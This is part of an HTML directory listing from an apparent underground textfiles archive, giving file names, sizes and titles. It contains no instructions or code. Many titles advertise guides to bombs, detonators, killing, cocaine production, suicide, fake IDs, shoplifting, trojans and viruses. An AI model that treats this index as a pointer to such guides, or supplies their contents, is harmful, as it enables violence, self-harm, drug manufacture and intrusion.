<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="desperated.txt">desperated.txt</A> <tab to=T><TD> 6226<BR><TD> Kill the Politicians, by FDT (February 10, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="destroy.txt">destroy.txt</A> <tab to=T><TD> 19191<BR><TD> How to Destroy Everything by 6billionghosts (June, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="destructo.txt">destructo.txt</A> <tab to=T><TD> 1185<BR><TD> The Destructo Disk, by Digital Misery (May 15, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="deton8.txt">deton8.txt</A> <tab to=T><TD> 7379<BR><TD> How to Build a Timed Detonator, by Reuter Canine (December 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dirrerent.txt">dirrerent.txt</A> <tab to=T><TD> 5039<BR><TD> About Different Types of Trojans, by The Maniac (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ditto_box.txt">ditto_box.txt</A> <tab to=T><TD> 6617<BR><TD> The Ditto Box: A Tutorial by Cracked Anarchist (July, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="diz-bab.txt">diz-bab.txt</A> <tab to=T><TD> 13993<BR><TD> Burn all Books! Why ebooks kick the sheet out of treeware, by DIzzIE (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="diz-films.txt">diz-films.txt</A> <tab to=T><TD> 10109<BR><TD> Counterfeit Cities: Spacial Celebriphilia and Film's Whoring of Place: How Tax Payers Subsidize Hollywood's Production Costs by DIzzIE (2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="diz-freedate.txt">diz-freedate.txt</A> <tab to=T><TD> 3052<BR><TD> How to Go on a Free Date, by DIzzIE (2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="diz-freepob.txt">diz-freepob.txt</A> <tab to=T><TD> 1393<BR><TD> Free PO Boxes, by DIzzIE (2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="diz-libraries.txt">diz-libraries.txt</A> <tab to=T><TD> 5819<BR><TD> Why I Steal from Libraries, by DIzzIE (2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="diz-mutatis.txt">diz-mutatis.txt</A> <tab to=T><TD> 3532<BR><TD> Mutatis Mutandis: Things to Consider, by DIzzIE (2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="diz-netflix.txt">diz-netflix.txt</A> <tab to=T><TD> 20447<BR><TD> How to Rip Netflix Watch Now Movies v1.3 by DIzzIE (2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="diz-npr.txt">diz-npr.txt</A> <tab to=T><TD> 2651<BR><TD> How to Rip NPR MP3s by DIzzIE (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="diz-scanning.txt">diz-scanning.txt</A> <tab to=T><TD> 15558<BR><TD> DIzzIE's Scanning Tutorial (on using FineReader), by DIzzIE (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="diz-usp1.txt">diz-usp1.txt</A> <tab to=T><TD> 19244<BR><TD> Underground Security Paper #1: Encrypting Instant Messaging Conversations v1.0 by DIzzIE (2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="diz-usp2.txt">diz-usp2.txt</A> <tab to=T><TD> 25421<BR><TD> Underground Security Paper #2: Encrypting Email Communiques v1.0 by DIzzIE (2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="diz-usp3.txt">diz-usp3.txt</A> <tab to=T><TD> 22789<BR><TD> Underground Security Paper #3: The Dangers of Metadata, by DIzzIE (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dmansystem.txt">dmansystem.txt</A> <tab to=T><TD> 4950<BR><TD> The Digital Man, the World, and the System, by Benny Gooslin (November 19, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dos.txt">dos.txt</A> <tab to=T><TD> 7425<BR><TD> Denial of Service: An Introduction, by Darren Pierce (April 20, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dos_cmds.txt">dos_cmds.txt</A> <tab to=T><TD> 6095<BR><TD> The DOS Command List, by ParanoidXE (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dosdeath.txt">dosdeath.txt</A> <tab to=T><TD> 4345<BR><TD> The Death of DOS: An Opinion, by Count Tigris (June 15, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="doubleop.txt">doubleop.txt</A> <tab to=T><TD> 6428<BR><TD> The Double-Op Divert, by Captain B (May 27, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="druggo.txt">druggo.txt</A> <tab to=T><TD> 7551<BR><TD> The Ultimate Drug: A Ficticious Story by Kabak of Wallpaper-Boy.com (November 26, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dumpster.txt">dumpster.txt</A> <tab to=T><TD> 1732<BR><TD> About Dumpster Diving, by Hammer and Nail (January 15, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dutch.txt">dutch.txt</A> <tab to=T><TD> 56348<BR><TD> Aleutian Light by Andy Thomas (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dvdpackaging.txt">dvdpackaging.txt</A> <tab to=T><TD> 2343<BR><TD> DVD Packaging Annoyances, by Paranoidxe (July, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dxm.txt">dxm.txt</A> <tab to=T><TD> 2367<BR><TD> Jesse Writes about Being on DXM, While on DXM (August 6, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="easteregg.txt">easteregg.txt</A> <tab to=T><TD> 2050<BR><TD> A Really Weird Easter Egg in IE5, from Sick66 (June 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ectpasswd.txt">ectpasswd.txt</A> <tab to=T><TD> 9541<BR><TD> /etc/passwd and Everything That Comes With It by KGB (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="eggiehack.txt">eggiehack.txt</A> <tab to=T><TD> 6392<BR><TD> Eggdrop Hacking, by The Mob Boss (December 19, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="elcamo.txt">elcamo.txt</A> <tab to=T><TD> 10327<BR><TD> EZ Camoflauge, by Ruzz (September 20, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="elecpipe.txt">elecpipe.txt</A> <tab to=T><TD> 2278<BR><TD> How to Build a Pipe Bomb the Electric Way, by Zero (October 15, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="elvisandtupac.txt">elvisandtupac.txt</A> <tab to=T><TD> 4948<BR><TD> What Really Happened with Elvis and Tupac, by Antifrance (February, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="emission.txt">emission.txt</A> <tab to=T><TD> 9039<BR><TD> Emission Laws: Are They Necessary?
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="encryptf.txt">encryptf.txt</A> <tab to=T><TD> 1392<BR><TD> Doing Encryption of DOS Folders, by 007 (February 20, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="encryption.txt">encryption.txt</A> <tab to=T><TD> 9119<BR><TD> The Encryption and PGP Tutorial, by The Maniac (November 16, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="endmarchissue2.txt">endmarchissue2.txt</A> <tab to=T><TD> 15721<BR><TD> Basement Productions Presents the End March Issue Chapter 2 by Evergreen (March, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="enough90s.txt">enough90s.txt</A> <tab to=T><TD> 7298<BR><TD> Now that the 90s are Over, by Secret Squirrel (August 20, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="entropy.txt">entropy.txt</A> <tab to=T><TD> 6560<BR><TD> Entropy is a Harsh Reality: Some Thoughts by Hathor (January, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="epaste.txt">epaste.txt</A> <tab to=T><TD> 2488<BR><TD> Creating Exploding Paste
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="epiphany.txt">epiphany.txt</A> <tab to=T><TD> 2986<BR><TD> An Epiphany: We Must Regain Our Freedon, by Epiphany of Port7alliance.com (February 10, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="escalators.txt">escalators.txt</A> <tab to=T><TD> 748<BR><TD> Stopping Mall Escalators, by Hex (April, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ethics.txt">ethics.txt</A> <tab to=T><TD> 6171<BR><TD> The Ethics of a True Hacker, by The Mob Boss (December 5, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="eunitviral.txt">eunitviral.txt</A> <tab to=T><TD> 14959<BR><TD> A Nymph Virual Tutorial by E-Unit (December, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="evade.txt">evade.txt</A> <tab to=T><TD> 2333<BR><TD> Evading the RIAA by Using a Proxy, by MassExodus (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="evilsig.txt">evilsig.txt</A> <tab to=T><TD> 27067<BR><TD> The Evil Industry: Changing Health, Money and Time for Evil Cigarettes, by AD (2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="execution.box">execution.box</A> <tab to=T><TD> 7378<BR><TD> The Executioner Box, by Captain B (February 1, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="expletives.txt">expletives.txt</A> <tab to=T><TD> 1764<BR><TD> Some Thoughts on Expletives (March, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="explore1.txt">explore1.txt</A> <tab to=T><TD> 7621<BR><TD> The Drains and Catacombs FAQ, by The Dark Dominator (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="explosivebg.txt">explosivebg.txt</A> <tab to=T><TD> 827<BR><TD> AN Exploding Blowgun Projectile by Marlboro Man (October 15, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="faq-matrix.txt">faq-matrix.txt</A> <tab to=T><TD> 18656<BR><TD> FAQ: The Matrix Trilogy, by Paranoidxe (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="faq-minority.txt">faq-minority.txt</A> <tab to=T><TD> 2799<BR><TD> FAQ: Minority Report, by paranoidxe (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="faq-ring.txt">faq-ring.txt</A> <tab to=T><TD> 8086<BR><TD> FAQ: The Ring Movie, by paranoidxe (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="fcbksuks.txt">fcbksuks.txt</A> <tab to=T><TD> 1771<BR><TD> The Facebook Rant, by Gluk Froy (January 16, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="fhile.txt">fhile.txt</A> <tab to=T><TD> 3198<BR><TD> If You're a Wannabe Spy, This Might Help, by Cody J (November 30, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="flamediff.txt">flamediff.txt</A> <tab to=T><TD> 428<BR><TD> How to Make a Flamethrower a Different Way, by DOMiNiON (January, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="flamethrow.txt">flamethrow.txt</A> <tab to=T><TD> 1502<BR><TD> How to Make a Flamethrower, by Who Cares Who Wrote It (June, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="floppydeathdisk.txt">floppydeathdisk.txt</A> <tab to=T><TD> 3498<BR><TD> The Floppy Death Disk by Cypher (December 7, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="formats.txt">formats.txt</A> <tab to=T><TD> 5353<BR><TD> Underground Filetypes for n00bz by Sheer Black Family (August 16, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="free_food.txt">free_food.txt</A> <tab to=T><TD> 5840<BR><TD> Free Food by Dizzie (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="free_magz.txt">free_magz.txt</A> <tab to=T><TD> 2840<BR><TD> Free Magazines!!!! By Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="free_music.txt">free_music.txt</A> <tab to=T><TD> 8501<BR><TD> Free Music '08 by ad (May, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="free_nps.txt">free_nps.txt</A> <tab to=T><TD> 1049<BR><TD> Free Newspapers, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="free_stuff.txt">free_stuff.txt</A> <tab to=T><TD> 2719<BR><TD> How to Get Free Stuff When Moving to Another Country, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="freeav.txt">freeav.txt</A> <tab to=T><TD> 2117<BR><TD> How to Defeat the Altavista Free Internet Ad Banner by Day-Glo (July, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="freeconcert.txt">freeconcert.txt</A> <tab to=T><TD> 693<BR><TD> Getting into a Big-Name Concert for Free, by Dr. Mombo (July, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="freehair.ana">freehair.ana</A> <tab to=T><TD> 275<BR><TD> Getting a Free Haircut, by Craig (Small but Already a Classic) (July, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="freei.txt">freei.txt</A> <tab to=T><TD> 1851<BR><TD> Protectors of the Free World: Getting a FreeI Account, by Lucid of Phreak2000.com (August, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="freepass.txt">freepass.txt</A> <tab to=T><TD> 1934<BR><TD> A Free Pass, by Komokozzy (September 1, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="freestuff.txt">freestuff.txt</A> <tab to=T><TD> 10658<BR><TD> How to Get Free Stuff, by Pepsi (June 10, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="freestuff2.txt">freestuff2.txt</A> <tab to=T><TD> 1586<BR><TD> Getting Free Stuff, by Acid Pool (February 14, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="fridgefun.txt">fridgefun.txt</A> <tab to=T><TD> 4808<BR><TD> Fun Things to Do With a Refrigerator, by Dizzie (January, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="friends.txt">friends.txt</A> <tab to=T><TD> 6923<BR><TD> Some Phun with your Drunk Phriends, by The Enphorcer (February 23, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ftphowto.txt">ftphowto.txt</A> <tab to=T><TD> 5971<BR><TD> An FTP How-To (Actually a reprinted FTP Manual Page) by p0x (July 5, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="fun_with_vb.txt">fun_with_vb.txt</A> <tab to=T><TD> 1823<BR><TD> Some Funny Shit to Do with Visual Basic, by PZiKO (December, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="funwithfriends.txt">funwithfriends.txt</A> <tab to=T><TD> 3664<BR><TD> Embarass and Have Fun WITH your Friends, by Alfismo (November 3rd, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="fwpets.txt">fwpets.txt</A> <tab to=T><TD> 1598<BR><TD> Fun With Pets! By Slugnut of F.O.S. (November 30, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="gamble.txt">gamble.txt</A> <tab to=T><TD> 9227<BR><TD> Gambling at Blackjack, by Zero (April, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="garotte.txt">garotte.txt</A> <tab to=T><TD> 910<BR><TD> Garotte Making, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="getstuff.txt">getstuff.txt</A> <tab to=T><TD> 2545<BR><TD> Everything You Need to Know to Get Stuff, by Joey Midoro (July 9, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="getthrough.txt">getthrough.txt</A> <tab to=T><TD> 6141<BR><TD> Getting Through Life (List of Illegal Activities), by Jockey (November 9, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="gf1.txt">gf1.txt</A> <tab to=T><TD> 18703<BR><TD> Goldstein's Fetus #1 by Fellow Felon of SoldierX.com and the Legion of the Damned (May, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="gf2.txt">gf2.txt</A> <tab to=T><TD> 6702<BR><TD> Goldstein's Fetus #2 by Fellow Felon of SoldierX.com and the Legion of the Damned (July, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="gfspress.txt">gfspress.txt</A> <tab to=T><TD> 8397<BR><TD> Get Free Shit by (Not) Working for the Press, by Dizzie (May, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ggrenade.txt">ggrenade.txt</A> <tab to=T><TD> 804<BR><TD> A Simple Glass Grenade (October 31, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="girl_joke.txt">girl_joke.txt</A> <tab to=T><TD> 3832<BR><TD> Operating Manual for your Female, by Phoenixx (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="glenn.txt">glenn.txt</A> <tab to=T><TD> 1643<BR><TD> Sysadmin's Blues, parody of "Smuggler's Blues" by Glenn Frey, by Delchi (October, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="govt.txt">govt.txt</A> <tab to=T><TD> 5130<BR><TD> The Truth About the Government by BadGer of SoldierX.com (July, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="gspot.txt">gspot.txt</A> <tab to=T><TD> 4018<BR><TD> G-Spot Positions: Our Favorite 3 Positions to Hit the G-Spot during Sex (December, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="gummibear.txt">gummibear.txt</A> <tab to=T><TD> 1459<BR><TD> Gummi Bearing: As a Game of Skill, by JustOnePepsi (March 2, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hacker3.txt">hacker3.txt</A> <tab to=T><TD> 18433<BR><TD> Diary of a Hacker Part 3, by The Blade Cuisinart (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hackermedia.txt">hackermedia.txt</A> <tab to=T><TD> 4236<BR><TD> Hackers: Victims of Media Stereotype, by Violent Work of Art (July 1, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hackerstages.txt">hackerstages.txt</A> <tab to=T><TD> 4436<BR><TD> Hacker Stages Version 1.03 by Elf Qrin (March 26, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hackguide.txt">hackguide.txt</A> <tab to=T><TD> 9603<BR><TD> K-K-D's Guide to Hacking an RM Computer: UK Version (November 2, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hackinggen.txt">hackinggen.txt</A> <tab to=T><TD> 3631<BR><TD> Fucking Script Kiddies: Becoming a Hacker (May 16, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hackingthespaces.txt">hackingthespaces.txt</A> <tab to=T><TD> 14050<BR><TD> Hacking the Spaces: A Critical Acclaim of What Was, Is, and Could be a Hackerspace by Johannes Grenzfurthner/Frank Apunkt Schneider (monochrom) (2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hackintro.txt">hackintro.txt</A> <tab to=T><TD> 6823<BR><TD> An Introduction to Hacking, by Oreo Ctrl (April, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hackvending.txt">hackvending.txt</A> <tab to=T><TD> 1243<BR><TD> Hack a Vending Machine, by UNEX (September 14, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="haircut.txt">haircut.txt</A> <tab to=T><TD> 510<BR><TD> How to Get a Free Haircut, by Ali (March, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="halloflamers.txt">halloflamers.txt</A> <tab to=T><TD> 3790<BR><TD> The Hall of Lamers by McLoser (June, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="halo2eggs.txt">halo2eggs.txt</A> <tab to=T><TD> 11084<BR><TD> Halo 2 Easter Eggs: The Skull List, by Happy McSmith (Ferbuary 18, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hamballoon.txt">hamballoon.txt</A> <tab to=T><TD> 5198<BR><TD> Field Day and Using a Weather Balloon, by Ron N9EE (July, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="handsofgod.txt">handsofgod.txt</A> <tab to=T><TD> 10812<BR><TD> The Hands of God, by Anonymous (September, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="happiness.txt">happiness.txt</A> <tab to=T><TD> 4703<BR><TD> Are We Happy? by FuGaZi SUN (May 4, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hate.txt">hate.txt</A> <tab to=T><TD> 65329<BR><TD> Collection of Articles Written for HateZine by Dark Monarchy Enterprises (1998-1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="haxormanifesto.txt">haxormanifesto.txt</A> <tab to=T><TD> 3851<BR><TD> The Haxor's Manifesto Y2K by The Lamor (March 15, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hd-1.txt">hd-1.txt</A> <tab to=T><TD> 11905<BR><TD> Hate and Discontent #1 by Mastar Satan (May 5th, 1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hd-2.txt">hd-2.txt</A> <tab to=T><TD> 10174<BR><TD> Hate and Discontent #2 (Getting Back at a Zealot CBer) by Master Satan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hd-3.txt">hd-3.txt</A> <tab to=T><TD> 17070<BR><TD> Hate and Discontent #3 (Getting Even with a Prick in School or on a BBS)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hd-4.txt">hd-4.txt</A> <tab to=T><TD> 10389<BR><TD> Hate and Discontent #4 (The Art of Killing Big Fat Purple Things) by Master Satan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hd-5.txt">hd-5.txt</A> <tab to=T><TD> 7212<BR><TD> Hate and Discontent #5 (How to Kill a Bunch of Rocks) by Master Satan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hdhell.txt">hdhell.txt</A> <tab to=T><TD> 1661<BR><TD> The Home Depot Intercom Trick, by Landser (November 13, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="health.txt">health.txt</A> <tab to=T><TD> 37560<BR><TD> Health: A Listing of Products Affecting Your Health and Proposed Solutions, by Anonymous (December, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="herbal_smokes.txt">herbal_smokes.txt</A> <tab to=T><TD> 549<BR><TD> Herbal Smokes, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hhacking.txt">hhacking.txt</A> <tab to=T><TD> 1018<BR><TD> Human Hacking, by Acid Pool (February 8, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hmexplbag.txt">hmexplbag.txt</A> <tab to=T><TD> 817<BR><TD> Homemade Explosive Bag, by Marlboro Man (October 15, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="homealco.txt">homealco.txt</A> <tab to=T><TD> 7006<BR><TD> Homemade Alcohol by Zero (July 12, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="homemade_pepper_spray.txt">homemade_pepper_spray.txt</A> <tab to=T><TD> 568<BR><TD> Homade Pepper Spray, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hosespray.txt">hosespray.txt</A> <tab to=T><TD> 5126<BR><TD> Spraying People with a Hose: The Techniques, by RLK (June 10, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hotelfun.txt">hotelfun.txt</A> <tab to=T><TD> 1790<BR><TD> Hotels: Our Hidden Treasure, by Bong
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hotmail.txt">hotmail.txt</A> <tab to=T><TD> 6772<BR><TD> UnderStanding the Hotmail Server by KGB of FX Ltd.(April, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="how2clone.txt">how2clone.txt</A> <tab to=T><TD> 3014<BR><TD> AIM Cloning for Dummies by Xero, Aka MrRogerz (June 8, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="how2txt.txt">how2txt.txt</A> <tab to=T><TD> 6214<BR><TD> Writing Textfiles Version 1.0 by Burnin' of Unknown Prez (December 3, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="howlost.txt">howlost.txt</A> <tab to=T><TD> 97153<BR><TD> How to Get Lost, and Stay That Way, by James Petersen (March 13, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="howto_wzgrp.txt">howto_wzgrp.txt</A> <tab to=T><TD> 6406<BR><TD> How to Start a Warez Group, by Neuro (September 25, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="howtocoke.txt">howtocoke.txt</A> <tab to=T><TD> 1866<BR><TD> How to Make Cocaine the Simple Way, by J.W. (February 2, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="howtokillsomeone">howtokillsomeone</A> <tab to=T><TD> 1003<BR><TD> Some Ways to Kill Someone (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="howtolie.txt">howtolie.txt</A> <tab to=T><TD> 13572<BR><TD> How to Lie to People: Achieving Anonymity Through Disinformation and Data Poisoning, by Dizzie (May, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="howtotexts.txt">howtotexts.txt</A> <tab to=T><TD> 6946<BR><TD> How and Why to Write Tutorials by The Maniac (March 20, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="htmlguide.txt">htmlguide.txt</A> <tab to=T><TD> 15682<BR><TD> The Newbies' Guide to Basic HTML, by Violent Work of Art (July 1, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hybrid-1.txt">hybrid-1.txt</A> <tab to=T><TD> 4005<BR><TD> Hybrido's Guide to Suicide, with Help from Razor (January 27, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="hybrid-3.txt">hybrid-3.txt</A> <tab to=T><TD> 6793<BR><TD> Hybrido's Guide to Finnish Kilju, by Hybrido (January 26, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ibadass.txt">ibadass.txt</A> <tab to=T><TD> 7470<BR><TD> b0redom magazine: How to be an Internet Badass by Argus (November, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ici20080317.txt">ici20080317.txt</A> <tab to=T><TD> 148874<BR><TD> Internet Cafe In/Sec Version 1.4.7 by ad (March 17, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ici20080616.txt">ici20080616.txt</A> <tab to=T><TD> 154750<BR><TD> Internet Cafe In/Sec Version 1.5.0 by ad (June 16, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ici20080704.txt">ici20080704.txt</A> <tab to=T><TD> 106802<BR><TD> Internet Cafe In/Sec Version 1.5.0 FINAL by ad (July 4, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ici20090120.txt">ici20090120.txt</A> <tab to=T><TD> 172678<BR><TD> Internet Cafe In/Sec Version 1.5.1 by ad (January 20, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ici20090131.txt">ici20090131.txt</A> <tab to=T><TD> 145267<BR><TD> Internet Cafe In/Sec Version 1.5.2 by ad (January 31, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ics20070831.txt">ics20070831.txt</A> <tab to=T><TD> 77752<BR><TD> Internet Cafe In/Sec Version 1.3.7 by ad (September 3, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ics20080108.txt">ics20080108.txt</A> <tab to=T><TD> 145841<BR><TD> Internet Cafe In/Sec Version 1.4.5 by ad (January 29, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ics20080221.txt">ics20080221.txt</A> <tab to=T><TD> 149085<BR><TD> Internet Cafe In/Sec Version 1.4.6 by ad (February 21, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="idcardz.txt">idcardz.txt</A> <tab to=T><TD> 14388<BR><TD> Making Fake ID Cards, by the Phraudster (December 19, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="idiots.txt">idiots.txt</A> <tab to=T><TD> 4205<BR><TD> People Who Need to be Taken Out and Disembowled with Wooden Spoons, by The Stupid Optimist of NGSAM (January 16, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="illuminatirecovery.txt">illuminatirecovery.txt</A> <tab to=T><TD> 48141<BR><TD> Original Illuminati Recovery, compiled by ad (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="improvarms.txt">improvarms.txt</A> <tab to=T><TD> 20448<BR><TD> Improvised Arms, by BR (August, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="incident.txt">incident.txt</A> <tab to=T><TD> 5711<BR><TD> "Where were you during your flex block on December, 18, 2003?" (March, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="independance.txt">independance.txt</A> <tab to=T><TD> 3994<BR><TD> The Declaration of Independence for the Nation of Wales, by M.W. Beech (April Fool's Joke) (April 1, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="infect.txt">infect.txt</A> <tab to=T><TD> 3172<BR><TD> Getting Trojan-Infected Victims by RKIAC (March, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="inshoplifting.txt">inshoplifting.txt</A> <tab to=T><TD> 6704<BR><TD> In-Shop Lifting, by MaJiN (December 19, 2002)
